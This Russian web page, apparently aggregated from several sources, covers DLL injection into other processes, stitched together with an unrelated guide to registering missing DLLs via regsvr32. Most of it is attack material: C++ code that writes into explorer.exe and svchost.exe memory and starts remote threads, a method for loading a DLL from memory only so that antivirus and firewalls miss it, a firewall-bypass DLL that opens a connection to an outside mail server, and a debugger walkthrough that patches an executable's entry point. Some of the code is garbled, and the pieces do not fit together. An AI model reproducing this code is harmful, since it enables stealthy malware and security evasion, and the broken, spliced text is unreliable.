Как внедрить dll файл в игру

Обновлено: 04.07.2024

В компьютерном программировании , DLL инъекция является методом , используемым для запуска кода в пределах адресного пространства другого процесса , заставляя его загрузить динамическую библиотеку . Внедрение DLL часто используется внешними программами, чтобы повлиять на поведение другой программы так, как ее авторы не ожидали или не планировали. Например, внедренный код может перехватывать вызовы системных функций или читать содержимое текстовых полей пароля , что невозможно сделать обычным способом. Программа, используемая для внедрения произвольного кода в произвольные процессы, называется инжектором DLL .

СОДЕРЖАНИЕ

Подходы в Microsoft Windows

В Microsoft Windows есть несколько способов заставить процесс загружать и выполнять код в DLL, которые авторы не планировали:

  • DLL, перечисленные в записи реестра HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs , загружаются в каждый процесс, который загружает User32.dll во время первоначального вызова этой DLL. Начиная с Windows Vista , AppInit_DLL по умолчанию отключены. Начиная с Windows 7, инфраструктура AppInit_DLL поддерживает подписывание кода . Начиная с Windows 8 , вся функциональность AppInit_DLL отключается, когда включена безопасная загрузка , независимо от подписи кода или настроек реестра.
  • DLL, перечисленные в разделе реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDLLs , загружаются в каждый процесс, который вызывает функции Win32 API CreateProcess, CreateProcessAsUser, CreateProcessWithLogonW, CreateProcessWithTokenW и WinExec. Это правильный способ использовать легальную инъекцию DLL в текущей версии Windows - Windows 10. DLL должна быть подписана действующим сертификатом.
  • Функции управления процессом, такие как CreateRemoteThread, или методы внедрения кода, такие как AtomBombing, могут использоваться для внедрения библиотеки DLL в программу после ее запуска.
    1. Откройте дескриптор целевого процесса. Это можно сделать, запустив процесс или отключив что-то, созданное этим процессом, о существовании которого известно, - например, окно с предсказуемым заголовком, или путем получения списка запущенных процессов и сканирования имени файла целевого исполняемого файла.
    2. Выделите часть памяти в целевом процессе, и в него будет записано имя внедряемой DLL. Этот шаг можно пропустить, если подходящее имя DLL уже доступно в целевом процессе. Например, если процесс ссылается на ' User32.dll ', ' GDI32.dll ', ' Kernel32.dll ' или любую другую библиотеку, имя которой заканчивается на '32 .dll ', можно будет загрузить библиотеку с именем '32. .dll '. Ранее было продемонстрировано, что этот метод эффективен против метода защиты процессов от внедрения DLL.
    3. Создайте новый поток в целевом процессе с начальным адресом потока, установленным как адрес LoadLibrary, и аргументом, установленным на адрес строки, только что загруженной в целевой объект. Вместо того, чтобы записывать имя загружаемой библиотеки DLL в целевой объект и запускать новый поток в LoadLibrary, можно записать код, который необходимо выполнить, в целевой объект и запустить поток с этого кода.
    4. Затем операционная система вызывает процедуру инициализации внедренной DLL.
    Обратите внимание, что без мер предосторожности этот подход может быть обнаружен целевым процессом из-за уведомлений DLL_THREAD_ATTACH, отправляемых каждому загруженному модулю при запуске потока.
  • Windows , закрепляя вызовы , такие , как SetWindowsHookEx.
  • Используйте функцию SuspendThread или NtSuspendThread, чтобы приостановить все потоки, а затем используйте функцию SetThreadContext или NtSetContextThread, чтобы изменить контекст существующего потока в приложении для выполнения внедренного кода, который, в свою очередь, может загрузить DLL.
  • Используйте ограничения дизайна в Windows и приложениях, которые вызывают функцию LoadLibrary или LoadLibraryEx без указания полного пути к загружаемой DLL.
  • Операционная система на уровне прокладки .
  • Замена библиотеки DLL, специфичной для приложения, мошеннической заменой, которая реализует тот же экспорт функций, что и оригинал.

Подходы к Unix-подобным системам

В Unix-подобных операционных системах с динамическим компоновщиком на основе ld.so (в BSD ) и ld-linux.so (в Linux ) произвольные библиотеки могут быть связаны с новым процессом, указав путь к библиотеке в переменной среды LD PRELOAD. , который можно настроить глобально или индивидуально для одного процесса.

Например, в системе Linux эта команда запускает команду «prog» с разделяемой библиотекой из файла «test.so», связанного с ней во время запуска:

Такую библиотеку можно создать так же, как и другие общие объекты . В GCC это включает в себя компиляцию исходного файла, содержащего новые глобальные объекты, которые нужно связать, с параметром -fpic или -fPIC и связывание с параметром -shared . Библиотека имеет доступ к внешним символам, объявленным в программе, как и любая другая библиотека.

В macOS следующая команда запускает команду «prog» с разделяемой библиотекой из файла «test.dylib», связанной с ней во время запуска:

Также возможно использовать методы на основе отладчика в Unix-подобных системах.

использование

Образец кода

Использование функции API LoadLibrary

В приведенном ниже примере функции используется метод внедрения DLL, который использует тот факт, что kernel32.dll отображается на один и тот же адрес почти во всех процессах. Поэтому LoadLibrary (которая является функцией kernel32.dll) также отображается на тот же адрес. LoadLibrary также подходит для процедуры запуска потока, требуемой CreateRemoteThread.

DLL инъекция дает возможность выполнять свой код в адресном пространстве уже запущенного процесса. Многие используют инфицирования для написания читов для игр, выполнения вредоносных действий для системы и т.п. Но данный прием не обязательно применять для реализации коварных планов, а например, для обновления своего приложения.

Опишем структуру, через которую мы получим необходимые нам данные:

typedef FARPROC (WINAPI *LPMessageBox)(HWND, LPCWSTR, LPCWSTR, UINT);

typedef struct _InjectData char title[50];
char msg[50];
LPMessageBox MessageB;
> InjectData, *PInjectData;

static DWORD WINAPI InjectionMain(LPVOID lpParams)

PInjectData info = (PInjectData)lpParams;

info->MessageB(NULL, (LPCWSTR)info->msg, (LPCWSTR)info->title, MB_OK);
return 0;
>

В нашем примере она довольно таки проста. В нем мы не выполняем подгрузку DLL, хотя для большинства задач вам это может быть необходимо, для этого необходимо передать указатели на ф-ции LoadLibrary и GetProcAddress, также как мы это делам для MessageBoxA, и при помощи их подгружать необходимые вам DLL.

Теперь нам нужно получить доступ к explorer.exe, записать наш код, данные в адресном пространстве процесса и создать поток в процессе для выполнения нашего кода.

Опишем ф-цию которая возвращает идентификатор процесса:

DWORD getProcessID() DWORD processID = 0;
HANDLE snapHandle;
PROCESSENTRY32 processEntry = ;

if ( (snapHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE ) return 0;
>

processEntry.dwSize = sizeof (PROCESSENTRY32);
Process32First(snapHandle, &processEntry);
do if ( wcscmp(processEntry.szExeFile, PROCESSNAME) == 0 ) return processEntry.th32ProcessID;
>
> while (Process32Next(snapHandle,&processEntry));

if ( snapHandle != INVALID_HANDLE_VALUE ) CloseHandle(snapHandle);
>


CreateToolhelp32Snapshot — возвращает нам фактически список процессов и их потоков. Обходим весь список и если найден наш процесс, то возвращаем его идентификатор или 0. Теперь, когда у нас есть идентификатор, мы можем получить доступ к процессу при помощи OpenProcess, но не сможем ни чего записать в его память. Для того, что бы наше приложение получило права, нам понадобиться следующая ф-ция:
BOOL setPrivilege(HANDLE hToken, LPCTSTR szPrivName, BOOL fEnable) TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, szPrivName, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof (tp), NULL, NULL);
return ((GetLastError() == ERROR_SUCCESS));
>

Подробней о правах можете почитать здесь . Не смотря на то, что ответа за 1998 год он еще актуален для XP SP3 и насколько я знаю, для Windows 7, хотя лично еще не тестил.

Теперь у нас есть все для того, что бы получить доступ к процессу:

DWORD processID = getProcessID();
HANDLE hCurrentProc = GetCurrentProcess();

if (!OpenProcessToken(hCurrentProc, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) addLogMessage( "OpenProcessToken Error" , GetLastError());
return 0;
> else if (!setPrivilege(hToken, SE_DEBUG_NAME, TRUE)) addLogMessage( "SetPrivlegesSE_DEBUG_NAME Error" , GetLastError());
return 0;
>
>

if (processID == 0) MessageBox(NULL, _T( "Process not found!" ), _T( "Error" ), MB_OK | MB_ICONERROR);
return 0;
>

processHandel = OpenProcess(PROCESS_ALL_ACCESS, false , processID);


Нам не хватает указателя на ф-цию MessageBoxA, которая находиться в user32.dll:
HINSTANCE userHinstance = LoadLibrary(_T( "user32.dll" ));
injectData.MessageB = (LPMessageBox) GetProcAddress(userHinstance, "MessageBoxA" );

Ну что ж, перейдем теперь к самому интересному, собственно к инфицированию, запишем наш данный и код в память и создадим поток, который все это запустит. Для модифицирования памяти нам понадобиться две ф-ции: VirtualAllocEx и WriteProcessMemory.
LPVOID lpProc = VirtualAllocEx(processHandel, NULL, ProcSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
LPVOID lpParams = VirtualAllocEx(processHandel, NULL, 1024, MEM_COMMIT, PAGE_READWRITE );
DWORD dwWritten;
if (WriteProcessMemory(processHandel, lpProc, InjectionMain, ProcSize, &dwWritten ) == 0) addLogMessage( "WriteProcessMemory error" , GetLastError());
return 0;
>
if (WriteProcessMemory( processHandel, lpParams, &injectData, sizeof (injectData), &dwWritten ) == 0) addLogMessage( "WriteProcessMemory error" , GetLastError());
return 0;
>

VirtualAllocEx — предоставляет физическую память в виртуальном адресном пространстве процесса, а WriteProcessMemory записывает наши данные в память процесса.

Теперь создадим поток в процессе, который воплотит наш коварный план в жизнь:

Внедрению DLL так или иначе (обычно в связи с перехватом API) посвящено достаточно большое количество статей. Но ни в одной из тех, которые я читал, не говорится, как внедрить эту DLL в чужой процесс незаметно, т.е. не храня на диске файл самой DLL, а оперируя им непосредственно в памяти.

В настоящее время широчайшую распространенность получили операционные системы семейства Windows NT/2000/XP. Они широко используются не только как домашние системы, но и в качестве серверов. Эта линейка ОС отличается неплохой защищенностью от вредоносных программ, а также для нее существует большое количество дополнительных систем безопасности (различные антивирусы, фаерволлы). Основной язык для приводимых фрагментов кода – C++, но материал актуален и для любого другого языка (Delphi, Ассемблер и т.д.). Единственное условие - язык должен быть 100% компилируемым, а также поддерживать работу с указателями и ассемблерные вставки. Так что любителям VB скорее всего придется обломиться. Для полного понимания материала статьи нужно хотя бы немножко знать ассемблер и С++. Как известно, OC Windows NT целиком построена на системе DLL (динамически загружаемых библиотек). Система предоставляет приложениям сервисные API функции, с помощью которых оно может взаимодействовать с системой. Предполагается, что читатель знаком с программированием в Visual C++, работой загрузчика Windows (загрузка и вызов функций DLL), а также имеет некоторые представления о программировании на ассемблере.

Данная статья актуальна только для систем Windows NT/2000/XP.

Зачем использовать DLL?

При желании можно напрямую записать весь исполняемый код в адресное пространство процесса-жертвы и запустить его функцией CreateRemoteThread. При большом желании можно добиться
того, что бы это заработало. Можно внедрить в адресное пространство целевого процесса весь образ текущего процесса целиком (код, данные, ресурсы и т.д.), после чего запустить на выполнение и работать так же, как и в своем процессе. Этот метод позволяет работать во внедряемом коде с Run Time Library и применять
объектно-ориентированное программирование, к тому же сам метод чрезвычайно прост для применения. Но если внедрять весь процесс целиком, то нам придется внедрить и «лишние» процедуры, которые могут нам и не понадобиться в чужом коде. Поэтому целесообразнее внедрить отдельную DLL, которая содержит лишь необходимые функции для работы.

Основные требования к внедряемому коду:

  • Базонезависимость (адрес загрузки кода в чужой процесс неизвестен заранее).
  • Независимость от Run Time Library.
  • Использование только библиотек, загруженных в адресное пространство целевого процесса.
  • Наличие во внедряемом коде всех необходимых для него данных.

При написании внедряемого кода следует учесть, что единственная DLL, которая обязательно должна присутствовать в адресном пространстве любого процесса - это ntdll.dll, эта DLL загружается даже при отсутствии импорта в исполнимом файле, и представляет собой слой Native API, переходники к функциям ядра Windows.

Если внедряемый код использует функции, экспортируемые библиотеками, отличными от ntdll.dll, то необходимо убедиться в наличии этих библиотек в адресном пространстве целевого процесса и при необходимости загрузить их.

Допустим, нам необходимо использовать во внедряемом коде функции из wsock32.dll и kernel32.dll. Воспользуемся следующим кодом:

if(!GetModuleHandle("wsock32.dll"))
LoadLibrary("wsock32.dll");
if(!GetModuleHandle("kernel32.dll"))
LoadLibrary("kernel32.dll");

Класс CInjectDllEx

Для внедрения DLL обоими методами (внешней DLL и внутренней DLL) я написал класс CInjectDllEx. Этот класс содержит все необходимые процедуры для работы. Для его использования необходимо просто вызвать его процедуру StartAndInject:

BOOL StartAndInject(
LPSTR lpszProcessPath,
BOOL bDllInMemory,
LPVOID lpDllBuff,
LPSTR lpszDllPath,
BOOL bReturnResult,
DWORD *dwResult);

[in] lpszProcessPath - Путь к программе, которую необходимо запустить и в которую будет внедрен код Dll.

[in] bDllInMemory - Если этот параметр TRUE, то используется аргумент lpDllBuff, иначе - используется аргумент lpszDllPath.

[in] lpDllBuff - Указатель на содержимое Dll в памяти. Должен быть NULL, если параметр bDllInMemory принимает значение FALSE.

[in] lpszDllPath - Полный путь к внедряемой Dll. Должен быть NULL, если параметр bDllInMemory принимает значение TRUE.

[in] bReturnResult - Если этот параметр TRUE, то параметр dwResult используется, иначе он не используется и должен быть NULL.

[out] dwResult - Указатель на переменную, в которой будет сохранен код завершения, переданный в функцию ExitProcess в Dll. Должен быть NULL, если bReturnResult принимает значение FALSE.

Возвращаемые значения:
Эта процедура возвращает TRUE, если удалось внедрить в процесс код Dll. Иначе возвращается FALSE.

Внедрение DLL, находящейся на диске

Весьма удобен и эффективен метод внедрения в чужой код своей DLL, но этот метод имеет некоторые недостатки, так как необходимо хранить DLL на диске, и загрузку лишней DLL легко обнаружить программами типа PE-Tools. Также на лишнюю DLL могут обратить внимание антивирусы и фаерволлы (например Outpost Fierwall), что тоже нежелательно.

Приведем код, позволяющий внедрить внешнюю DLL в чужой процесс:

LPVOID Memory = VirtualAllocEx(Process,0,sizeof(Inject),
MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(!Memory)
return FALSE;
DWORD Code = DWORD(Memory);
// Инициализация внедряемого кода:
Inject.PushCommand = 0x68;
Inject.PushArgument = Code + 0x1E;
Inject.CallCommand = 0x15FF;
Inject.CallAddr = Code + 0x16;
Inject.PushExitThread = 0x68;
Inject.ExitThreadArg = 0;
Inject.CallExitThread = 0x15FF;
Inject.CallExitThreadAddr = Code + 0x1A;
HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
Inject.AddrLoadLibrary = GetProcAddress(hKernel32,"LoadLibraryA");
Inject.AddrExitThread = GetProcAddress(hKernel32,"ExitThread");
lstrcpy(Inject.LibraryName,ModulePath);
// Записать машинный код по зарезервированному адресу
WriteProcessMemory(Process,Memory,&Inject,sizeof(Inject),0);

// Получаем текущий контекст первичной нити процесса
CONTEXT Context;
Context.ContextFlags = CONTEXT_FULL;
BOOL bResumed = FALSE;
if(GetThreadContext(Thread,&Context))
// Изменяем контекст так, чтобы выполнялся наш код
Context.Eip = Code;
if(SetThreadContext(Thread,&Context))
// Запускаем нить
bResumed = ResumeThread(Thread) != (DWORD)-1;
if(bResumed)
WaitForSingleObject(Thread,INFINITE);
>
>
if(!bResumed)
// Выполнить машинный код
HANDLE hThread = CreateRemoteThread(Process,0,0,(LPTHREAD_START_ROUTINE)Memory,0,0,0);
if(!hThread)
return FALSE;
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
>
return TRUE;
>

Единственный аргумент данной функции – путь к внедряемой
DLL. Функция возвращает TRUE, если код DLL был внедрен и запущен в целевом процессе. Иначе – FALSE.

Обратите внимание, что в данной функции сначала предпринимается попытка запустить удаленный поток без вызова CreateRemoteThread с использованием функций GetThreadContext, SetThreadContext. Для этого мы получаем хэндл главной нити процесса, после чего получаем контекст нити (GetThreadContext), изменяем содержимое регистра EIP так, чтобы он указывал на наш внедряемый код, а потом запускаем нить (ResumeThread). Если не удается запустить удаленный код этим методом, то просто вызывается CreateRemoteThread.

Внедрение DLL, находящейся в памяти

Существует метод, позволяющий загрузить DLL в другой процесс более незаметным способом. Для этого нужно внедрить в процесс образ этой DLL, затем настроить у нее таблицу импорта и релоки, после чего выполнить ее точку входа. Этот метод позволяет не хранить DLL на диске, а проводить действия с ней исключительно в памяти, также эта DLL не будет видна в списке загруженных процессом модулей, и на нее не обратит внимание фаерволл:

MapLibrary(pModule,Src);
if(!_ImageBase)
return FALSE;

TDllLoadInfo DllLoadInfo;
DllLoadInfo.Module = _ImageBase;
DllLoadInfo.EntryPoint = _DllProcAddress;

WriteProcessMemory(Process,pModule,_ImageBase,_ImageSize,0);
HANDLE hThread = InjectThread(DllEntryPoint, &DllLoadInfo,sizeof(DllLoadInfo));
if(hThread)
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
return TRUE;
>
return FALSE;
>

Src - адрес образа Dll в текущем процессе. Функция возвращает TRUE, если код DLL был внедрен и запущен в целевом процессе. Иначе – FALSE.

Функции, не описанные здесь, можно найти в прилагаемых к статье файлах.

Обход фаерволла как пример применения усовершенствованного внедрения DLL

// Выход из программы
VOID ExitThisDll(SOCKET s,BOOL bNoError)
closesocket(s);
WSACleanup();
ExitProcess(bNoError);
>

// Передать запрос серверу
VOID SendRequest(SOCKET s,LPCSTR tszRequest)
if(send(s,tszRequest,lstrlen(tszRequest),0) == SOCKET_ERROR)
ExitThisDll(s,FALSE);
>

// Адрес получателя
LPCTSTR lpszRecipientAddress = "crash86@mail.ru";

// Точка входа
VOID WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
if(!GetModuleHandle("wsock32.dll"))
LoadLibrary("wsock32.dll");
if(!GetModuleHandle("kernel32.dll"))
LoadLibrary("kernel32.dll");

WSADATA wsaData;
WSAStartup(MAKEWORD(1,1),&wsaData);

SOCKET s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s == INVALID_SOCKET)
WSACleanup();
ExitProcess(FALSE);
>

PHOSTENT pHostEnt = gethostbyname("smtp.mail.ru");
if(!pHostEnt)
ExitThisDll(s,FALSE);

CHAR tszRequestAnswer[512] = "";
ReceiveAnswer(s,tszRequestAnswer);

// Передаем привет серверу
SendRequest(s,"helo friend\r\n");
// Получаем привет от сервера
ReceiveAnswer(s,tszRequestAnswer);

// Говорим, от кого письмо
SendRequest(s,"mail from:<crash86@mail.ru>\r\n");
// Получаем ответ о корректности синтаксиса электронного адреса
ReceiveAnswer(s,tszRequestAnswer);

// Сообщаем серверу адресат
lstrcpy(tszRequestAnswer,"rcpt to:<");
lstrcat(tszRequestAnswer,lpszRecipientAddress);
lstrcat(tszRequestAnswer,">\r\n");
SendRequest(s,tszRequestAnswer);
// Сервер говорит, что проверил наличие адреса и отправитель локальный
ReceiveAnswer(s,tszRequestAnswer);

// Готовим сервер к приему данных
SendRequest(s,"data\r\n");
// Сервер сообщает о готовности
ReceiveAnswer(s,tszRequestAnswer);

// Заполняем поле "Куда"
lstrcpy(tszRequestAnswer,"To: ");
lstrcat(tszRequestAnswer,lpszRecipientAddress);
lstrcat(tszRequestAnswer,"\r\n");
SendRequest(s,tszRequestAnswer);

// Заполняем поле "От кого"
SendRequest(s,"From: crash86@mail.ru\r\n");

// Завершаем передачу
SendRequest(s,"\r\n.\r\n");
ReceiveAnswer(s,tszRequestAnswer);

// Выходим
SendRequest(s,"quit\r\n");
// Подтверждение (ОК)
ReceiveAnswer(s,tszRequestAnswer);
ExitThisDll(s,TRUE);
>

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
CInjectDllEx cide;
DWORD dwResult = FALSE;

MessageBox(0,"Отправка почты с помощью DLL на диске. ","TestExe",MB_ICONINFORMATION);
cide.StartAndInject("svchost.exe", FALSE,NULL, "SendMailDll.dll",TRUE,&dwResult);
if(dwResult)
MessageBox(0,"Почта отправлена! :)", "TestExe",MB_ICONINFORMATION);
else
MessageBox(0,"Почта не отправлена :(", "TestExe",MB_ICONERROR);

MessageBox(0,"Отправка почты с помощью DLL в памяти. ",
"TestExe",MB_ICONINFORMATION);
cide.StartAndInject("svchost.exe",TRUE, LockResource(LoadResource(0,FindResource(0,
MAKEINTRESOURCE(IDR_SENDING_DLL), "DLL"))),NULL,TRUE,&dwResult);
if(dwResult)
MessageBox(0,"Почта отправлена! :)", "TestExe",MB_ICONINFORMATION);
else
MessageBox(0,"Почта не отправлена :(", "TestExe",MB_ICONERROR);
return 0;
>

Здесь сначала внедряется DLL, находящаяся на диске, затем – в памяти.
В случае внедрения из памяти, DLL находится в ресурсах внедряющей программы.

Данный способ внедрения DLL можно использовать и для перехвата API. Из всего вышесказанного следует, что технологии внедрения кода и перехвата API могут служить для обхода практически любой защиты и создания чрезвычайно опасных вредоносных программ. Также они могут быть использованы и для создания систем безопасности. Также вышеприведенные примеры показывают, что как бы производители не рекламировали непробиваемость своих фаерволлов, все равно они спасают только от самых примитивных вредоносных программ. Надежность антивирусов тоже не следует считать достаточной, так как они могут быть легко уничтожены вредоносной программой. В настоящее время от подобных приемов защиты не существует, поэтому нужно быть осторожным при установке нового софта, так как неизвестно, что может в себе содержать любая программа. Также хочу заметить, что ВСЕ ПРИВЕДЕННОЕ В ЭТОЙ СТАТЬЕ МОЖЕТ БЫТЬ ИСПОЛЬЗОВАНО ТОЛЬКО В УЧЕБНО-ПОЗНАВАТЕЛЬНЫХ ЦЕЛЯХ. Автор не несет никакой ответственности за любой ущерб, нанесенный применением полученных знаний. Если вы с этим не согласны, то пожалуйста удалите статью со всех имеющихся у вас носителей информации и забудьте прочитанное.

В связи с тем, что проблема с внедрением .dll файлов в чужое приложение достаточно актуальная, я решил написать полное руководство для новичка, по данному вопросу.

Начну с инструментов которые нам потребуются для работы с внедрением .dll файла

1. OllyDbg - это отладчик уровня User Space, который приобрел большую популярность среди пользователей всего мира.
Сейчас для OllyDbg написано множество плагинов, так что работать с ним одно удовольствие.
OllyDbg обладает хорошей функциональностью, это делает его пригодным для решения различных задач и исследования кода любой сложности.
Интерфейс отладчика полностью настраиваемый: фон рабочих окон, цвет и размер шрифта, подсветка определенных ассемблерных инструкций и многое другое.

ссылка скрыта от гостей (авторизуйтесь)

2. Pe Explorer - программа для просмотра и редактирования PE-файлов - EXE, DLL, SYS, DRV, CPL, OCX, BPL, DPL, SCR и др.
Включает в себя PE Header Viewer, Exported/Imported API Function Viewer, API Function Syntax Lookup, Resource Viewer/Editor, Dependency Scanner & Disassembler.
Кроме всего прочего, с помощью PE EXPLORER можно без труда русифицировать самые разнообразные win-приложения.

ссылка скрыта от гостей (авторизуйтесь)

3. Утилита для системных программистов, позволяющая редактировать или просто просматривать многие части исполняемых файлов, создавать дамп из памяти, оптимизировать и анализировать их.

ссылка скрыта от гостей (авторизуйтесь)


Итак, после того как мы немного ознакомились с программами которыми будем работать, можно уже приступать к работе.
Первым делом запускаем наш отладчик OllyDbg и с помощью него открываем main.exe
File -> Open -> main.exe

После того как main.exe загрузился, мы увидим его большой ассемблерный код, что нам сейчас потребуется сделать так это запомнить или записать на бумажку либо в блокнот не важно точку входа в программу, на английском языке это звучит как EntryPoint.


Как вы заметили на картинке я указал стрелочку на цифирки, которые выделены белым цветом, эти цифирки называются смещением, на английском языке это звучит как Offset, значит так, как я сказал выше нужно запомнить либо записать этот Offset который выделен белым цветом.
Далее мы должны найти пустое место куда будем внедрять наш .dll файл, для этого скроллим либо нажимаем кнопку "PageDown" пока не увидим следующую картину


Теперь мы готовы внедрять .dll файл, для этого нажимаем Правый клик -> Folow in Dump -> Selection, и видим как нас перенесло в нижнее окно, под названием Hex Dump.
Теперь нам надо задать имя нашей .dll, для этого необходимо выделить столько точек сколько имеет символов ваша .dll учитывая и ".dll", например:
f1UZ.dll имеет 8 символов, получается необходимо выделить 8 точек и нажать пробел, и в появившемся окне, в строке Ascii вписываем имя вашей .dll


Нажмите ок либо Enter, теперь мы видим результат проделанной работы.
Далее отсчитываем несколько строчек, и вписываем следующие команды:
PUSH и указываем на первый offset где начинается красный текст, как мы видим у меня он 00801015
PUSH 00801015
Далее нам нужно вызвать функцию LoadLibraryA, для этого нажимаем Правый клик -> Search For -> Name (label) in current module либо Ctrl+N, и вспике этих функций ищем ту которая нам необходима.



После того как мы её нашли, кликаем на неё один раз и нажимаем Enter, кликаем ещё один разок на CALL DWORD PTR DS:[<KERNEL32.LoadLibraryA>] и нажимаем Enter.

Далее нам необходимо нажать на CALL DWORD PTR DS:[80220C], скопировать эту функцию и перейти в то место где мы внедряем наш .dll файл и вставить ниже нашей команды PUSH 00801015, то есть
PUSH 008010105
CALL DWORD PTR DS:[80220C]



Теперь нам нужно сделать прыжок на EntryPoint, делается это следующим образом
Вписываем ниже CALL DWORD PTR DS:[80220C]
JMP и тот offset который я вам говорил чтобы вы запомнили, тот offset который был выделен белым цветом.

PUSH 008010105
CALL DWORD PTR DS:[80220C]
JMP 007D37E6


Далее нам необходимо сохранить всю проделанную работу, для этого выделяем все изменения и нажимаем Правый клик -> Copy to executable -> Selection -> Правый клик -> Save file



Забыл о самом главном, перед тем как сохранить изменения, запомните offset команды PUSH 008010105, на этот offset мы будем изменять EntryPoint

Дело осталось за малым, необходимо изменить Entry Point для того чтобы .exe приложение смогло прочитать наш .dll файл.
Выше я описал программу Pe Explorer, но причинам того что лимит на её использование у меня закончился, прийдется использовать другую программу под названием LordPe.

Теперь запускаем программу LordPe и с помощью этой программы открываем main.exe
PE Editor -> main.exe



В строке Entry Point мы видим следующие цифирки, 003B23A0, если вы ещё помните, это начальный Entry Point, тот что я говорил запомнить ещё в самом начале.
Сейчас мы будем его изменять.
Обратите внимание на эту картинку ссылка скрыта от гостей (авторизуйтесь) , обратите внимание на offset команды PUSH 00801015 -> 00801026.
Этот offset мы должны вписать в программу LordPe где строка Entry Point, как вы заметили я вписал не 00801026 а 00301026, почему я так сделал объясню чуть позже, собственно вы должны сделать точно так же.


Нажимаем Save -> Ok и радуемся

Понравился туториал ? жми спасибу

Файл DLL – компонент динамически подключаемой библиотеки, чьи элементы используют практически все программы. Библиотека DLL файлов расположена в корневой папке системы. Компоненты должны быть все в наличии, иметь цифровую подпись, правильно работать и быть актуальными по версии. Если одно из требований не соблюдено, при запуске программы пользователь получит информационное уведомление: ошибка DLL. Неисправность свидетельствует о том, что отсутствует DLL файл, поврежден или устарел.

Как установить DLL файл

Чтобы программы, приложения и игры снова начали работать, необходимо установить вручную недостающие компоненты библиотеки. Просто поместить файл в папку недостаточно ─ нужно знать как их зарегистрировать.

Помещение и регистрация файлов библиотеки

Перед тем как установить DLL файл на Windows 7,8,10, их нужно скачать, причем точно под разрядность системы.

Давайте определим, какая разрядность у Вашей системы (если вы точно знаете, может пропустить этот шаг)

Шаг 1. Кликаем правой кнопкой мыши по "Мой компьютер" и выбираем "Свойства"


Шаг 2. В открывшемся окне, мы может прочитать свойства компьютера, версию операционной системы и её разрядность 32 (х86) или 64 бит. В нашем случаи стоит 64-разрядная операционная система Windows 10.


·

Шаг 3. После скачивания файлов их нужно поместить в корневую папку, зарегистрировать

для х32 (х86) систем компонент необходимо заменить или поместить в папку C:\Windows\System32;

для х64 необходимо выполнить замену или переместить в папку C:\Windows\ SysWOW64;

Шаг 4. Файл нужно зарегистрировать в системе.

Сделать это можно, открыв командную строку комбинацией «Win» + «R», или нажать «Пуск» и «Выполнить»;

в открывшемся окне ввести через пробел следующее: regsvr32 имя файла.dll – где, «regsvr32» ─ команда для регистрации, а «имя файла.dll» – полное имя вставленного компонента;


или же можно прописать расположение файла вручную - regsvr32.exe + путь к файлу


Шаг 5. Нажмите "ОК", и перезагрузите компьютер, и новые параметры вступят в силу.

Сразу хочется отметить, что при регистрации возможны появления ошибок. Например: "Не удалось загрузить модуль". Обычно они возникают по 3 причинам

Второй способ регистрации

Шаг 1. Зарегистрировать файл можно с помощью командой строки, которую нужно запустить от имени администратора.

Шаг 2. Пишем команду regsvr32.exe + путь к файлу и жмём "Enter"


Читайте также: